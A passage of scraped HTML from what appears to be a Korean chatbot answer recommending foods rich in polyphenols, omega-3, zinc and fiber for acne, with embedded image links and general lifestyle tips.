<li data-sourcepos="20:3-20:27">대표적인 식품: 당근, 고구마, 시금치 등</li> </ul> </li> <li data-sourcepos="21:1-23:0"><strong>폴리페놀:</strong> 항산화 작용이 뛰어나 피부 염증을 완화하고 노화를 방지합니다. <ul data-sourcepos="22:3-23:0"> <li data-sourcepos="22:3-23:0">대표적인 식품: 블루베리, 녹차, 베리류 등</li> </ul> </li> <div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c3375744469="" class="ng-star-inserted"><div _ngcontent-ng-c3375744469="" class="image-container ng-star-inserted" data-full-size-image-uri="https://img.freepik.com/premium-vector/vector-hand-draw-fruit-veggies-rich-betacarotene-food-sources-infographic-vitamin_384065-374.jpg"><div _ngcontent-ng-c3375744469="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3375744469="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c1459295448="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_c4d5b6315a05b9f5","c_e5e30593935e55f1",null,"rc_d5f773b3e5591c70",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://kr.freepik.com/premium-vector/vector-hand-draw-fruit-veggies-rich-betacarotene-food-sources-infographic-vitamin_23564035.htm"><span _ngcontent-ng-c1459295448="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3375744469="" class="image loaded" alt="베타카로틴이 풍부한 채소 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn1.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcTTmcirmi45qwT5VHODUYNUIsQrvufPEG1pIBPB0vK6ME7JpRghb19J7iv-SKKm"></span><span _ngcontent-ng-c1459295448="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c3375744469="" rel="noopener" class="source ng-star-inserted" s://kr.freepik.com/premium-vector/vector-hand-draw-fruit-veggies-rich-betacarotene-food-sources-infographic-vitamin_23564035.htm" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_c4d5b6315a05b9f5","c_e5e30593935e55f1",null,"rc_d5f773b3e5591c70",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3375744469="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn0.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcRxFZepf9GXBJn0UKonkD_yjWkJTh-2zu1SvrxYufkvHTwKAY7x-NZiJeUZ0eLZP_J78Th9m0RjngHKiMHYv8QnWRYh7tYxnEU"><span _ngcontent-ng-c3375744469="" class="label ellipsis gds-label-m-alt">kr.freepik.com</span><span _ngcontent-ng-c3375744469="" aria-label=""></span></a></div><div _ngcontent-ng-c3375744469="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 베타카로틴이 풍부한 채소 </div></div></single-image></response-element><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c3375744469="" class="ng-star-inserted"><div _ngcontent-ng-c3375744469="" class="image-container ng-star-inserted" data-full-size-image-uri="https://gradium.co.kr/wp-content/uploads/healthy-food-6.jpg"><div _ngcontent-ng-c3375744469="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3375744469="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c1459295448="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_c4d5b6315a05b9f5","c_e5e30593935e55f1",null,"rc_d5f773b3e5591c70",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://gradium.co.kr/polyphenol-rich-foods/"><span _ngcontent-ng-c1459295448="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3375744469="" class="image loaded" alt="폴리페놀이 풍부한 식품 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn3.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcQk3Zxd5JQjV7lt8Dc_zPiZxcEWm_xLVkVdOc-Ioq-Z59EeF0p3EmzQ5yiLqrrh"></span><span _ngcontent-ng-c1459295448="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c3375744469="" rel="noopener" class="source ng-star-inserted" s://gradium.co.kr/polyphenol-rich-foods/" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_c4d5b6315a05b9f5","c_e5e30593935e55f1",null,"rc_d5f773b3e5591c70",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3375744469="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn3.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcTrCho6FLAzDjqfh8OVfcC-thoPHbCGF4gUp0X0nyg5YJPfTOkzTW_9tzQJ0CnIjlAX-fOOunRBKVHeeJ-KmtxaQPVJKL7KBg"><span _ngcontent-ng-c3375744469="" class="label ellipsis gds-label-m-alt">gradium.co.kr</span><span _ngcontent-ng-c3375744469="" aria-label=""></span></a></div><div _ngcontent-ng-c3375744469="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 폴리페놀이 풍부한 식품 </div></div></single-image></response-element></div></ul><h3 data-sourcepos="27:1-27:24">3. 오메가-3 지방산이 풍부한 생선</h3><ul data-sourcepos="28:1-30:0"> <li data-sourcepos="28:1-30:0"><strong>오메가-3 지방산:</strong> 염증을 완화하고 피부 장벽을 강화하여 여드름을 진정시키는 데 도움을 줍니다. <ul data-sourcepos="29:3-30:0"> <li data-sourcepos="29:3-30:0">대표적인 식품: 연어, 고등어, 참치 등</li> </ul> </li> <div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c3375744469="" class="ng-star-inserted"><div _ngcontent-ng-c3375744469="" class="image-container ng-star-inserted" data-full-size-image-uri="http://investpension.miraeasset.com/common/namoeditor/binary/images/000099/1565055285649.jpg"><div _ngcontent-ng-c3375744469="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3375744469="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c1459295448="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_c4d5b6315a05b9f5","c_e5e30593935e55f1",null,"rc_d5f773b3e5591c70",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://investpension.miraeasset.com/m/contents/view.do?idx=11994"><span _ngcontent-ng-c1459295448="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3375744469="" class="image loaded" alt="오메가3 지방산이 풍부한 생선 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn3.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcTqlEhA64dZiCQymA2-FryxVBp46-i8DjDXC5py85oY9r8ACmY0oZTnF7f1GqtR"></span><span _ngcontent-ng-c1459295448="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c3375744469="" rel="noopener" class="source ng-star-inserted" s://investpension.miraeasset.com/m/contents/view.do?idx=11994" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_c4d5b6315a05b9f5","c_e5e30593935e55f1",null,"rc_d5f773b3e5591c70",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3375744469="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn1.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcRHOZG9Kjr-AgQoaiWFZl5EsrrkhkamccNXlu0dloKxGi7m1_sdLhanQHFvEEFE-iFIRfiSV307uXGL39iIeDOJGysdLqjjQApoArTNv4ZIGbxObcjVnQ"><span _ngcontent-ng-c3375744469="" class="label ellipsis gds-label-m-alt">investpension.miraeasset.com</span><span _ngcontent-ng-c3375744469="" aria-label=""></span></a></div><div _ngcontent-ng-c3375744469="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 오메가3 지방산이 풍부한 생선 </div></div></single-image></response-element></div></ul><h3 data-sourcepos="33:1-33:17">4. 아연이 풍부한 식품</h3><ul data-sourcepos="34:1-36:0"> <li data-sourcepos="34:1-36:0"><strong>아연:</strong> 피지 생성을 조절하고 여드름균 증식을 억제합니다. <ul data-sourcepos="35:3-36:0"> <li data-sourcepos="35:3-36:0">대표적인 식품: 굴, 육류, 콩류 등</li> </ul> </li> <div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c3375744469="" class="ng-star-inserted"><div _ngcontent-ng-c3375744469="" class="image-container ng-star-inserted" data-full-size-image-uri="http://.foodnmed.com/news/photo/202004/19058_4845_557.jpg"><div _ngcontent-ng-c3375744469="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3375744469="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c1459295448="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_c4d5b6315a05b9f5","c_e5e30593935e55f1",null,"rc_d5f773b3e5591c70",null,null,"ko",null,null,null,null,1,0]];mutable:true" ://.foodnmed.com/news/articleView.html?idxno=19058"><span _ngcontent-ng-c1459295448="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3375744469="" class="image loaded" alt="아연이 풍부한 식품 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn3.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcTnGkGmDdO0JM7SFvS0ibUqsEZJGE9Y_P8INBfY9dTJyPBEJpKHb7dvLOKe-_qg"></span><span _ngcontent-ng-c1459295448="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c3375744469="" rel="noopener" class="source ng-star-inserted" ://.foodnmed.com/news/articleView.html?idxno=19058" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_c4d5b6315a05b9f5","c_e5e30593935e55f1",null,"rc_d5f773b3e5591c70",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3375744469="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn3.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcTyYYB4ilJlPhmY8DLDhV591J3ct-6elFBoE-UHv7M9zB26o8yqBwQQihpHpjAuTF2uagLqUuJtL15-EbBxUYyJSpQGoXdP2atI"><span _ngcontent-ng-c3375744469="" class="label ellipsis gds-label-m-alt">.foodnmed.com</span><span _ngcontent-ng-c3375744469="" aria-label=""></span></a></div><div _ngcontent-ng-c3375744469="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 아연이 풍부한 식품 </div></div></single-image></response-element></div></ul><h3 data-sourcepos="39:1-39:18">5. 섬유질이 풍부한 식품</h3><ul data-sourcepos="40:1-42:0"> <li data-sourcepos="40:1-42:0"><strong>섬유질:</strong> 장 건강을 개선하고 독소 배출을 도와 피부 트러블을 완화합니다. <ul data-sourcepos="41:3-42:0"> <li data-sourcepos="41:3-42:0">대표적인 식품: 현미, 귀리, 고구마, 사과 등</li> </ul> </li> <div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c3375744469="" class="ng-star-inserted"><div _ngcontent-ng-c3375744469="" class="image-container ng-star-inserted" data-full-size-image-uri="https://cgeimage.commutil.kr/phpwas/restmb_allidxmake.php?pp=002&idx=3&simg=202312111143040043020kpm_00.jpg&nmt=48"><div _ngcontent-ng-c3375744469="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3375744469="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c1459295448="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_c4d5b6315a05b9f5","c_e5e30593935e55f1",null,"rc_d5f773b3e5591c70",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://.healthinnews.co.kr/news/articleView.html?idxno=43020"><span _ngcontent-ng-c1459295448="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3375744469="" class="image loaded" alt="섬유질이 풍부한 식품 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn3.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcSlOyCEUkKjOboXT4O69zSA1v68hksoqt3IYLVVNMHS8GLGXcIt3ulhukjY-xn7"></span><span _ngcontent-ng-c1459295448="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c3375744469="" rel="noopener" class="source ng-star-inserted" s://.healthinnews.co.kr/news/articleView.html?idxno=43020" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_c4d5b6315a05b9f5","c_e5e30593935e55f1",null,"rc_d5f773b3e5591c70",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3375744469="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn0.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcScrK-auVlIgO2IyXO4H26K3EHdt9KhH8DRMHqr_F9wsXWBR90dyockrYOtrLmaRfEbh7SM6IOnLS-hGpZe8qFuzIeRYKm7vwFPFDCi-FDFKg"><span _ngcontent-ng-c3375744469="" class="label ellipsis gds-label-m-alt">.healthinnews.co.kr</span><span _ngcontent-ng-c3375744469="" aria-label=""></span></a></div><div _ngcontent-ng-c3375744469="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 섬유질이 풍부한 식품 </div></div></single-image></response-element></div></ul><p data-sourcepos="45:1-45:8"><strong>주의사항</strong></p><ul data-sourcepos="46:1-49:0"> <li data-sourcepos="46:1-46:72"><strong>균형 잡힌 식단:</strong> 특정 식품만 과도하게 섭취하는 것은 좋지 않습니다. 다양한 영양소를 골고루 섭취하는 것이 중요합니다.</li> <li data-sourcepos="47:1-47:46"><strong>수분 섭취:</strong> 충분한 물을 마셔 피부를 촉촉하게 유지하는 것이 중요합니다.</li> <li data-sourcepos="48:1-49:0"><strong>개인차:</strong> 개인의 체질에 따라 가 다를 수 있습니다.</li> </ul><p data-sourcepos="50:1-50:28"><strong>여드름 개선을 위해서는 식단 관리뿐만 아니라</strong></p><ul data-sourcepos="51:1-54:0"> <li data-sourcepos="51:1-51:45"><strong>충분한 수면:</strong> 피부 재생을 위해 규칙적인 수면 습관을 유지해야 합니다.</li> <li data-sourcepos="52:1-52:50"><strong>스트레스 관리:</strong> 스트레스는 피지 분비를 촉진하여 여드름을 악화시킬 수 있습니다.</li> <li data-sourcepos="53:1-54:0"><strong>청결:</strong> 꾸준히 세안하고 피부를 깨끗하게 유지해야 합니다.</li> </ul><p data-sourcepos="55:1-56:52"><strong>전문가와 상담:</strong> 더욱 자세한 정보는 피부과 전문의와 상담하여 개인에게 맞는 관리 방법을 찾는 것이 좋습니다.</p><p data-sourcepos="58:1-59:43"><strong> 추가 요청:</strong> 원하는 음식에 대한 를 더 자세히 보고 싶으시면 언제든지 요청해주세요.</p><p data-sourcepos="61:1-61:32"><strong>다음에 궁금한 점이 있다면 언제든지 질문해주세요!</strong></p></div> </div></div>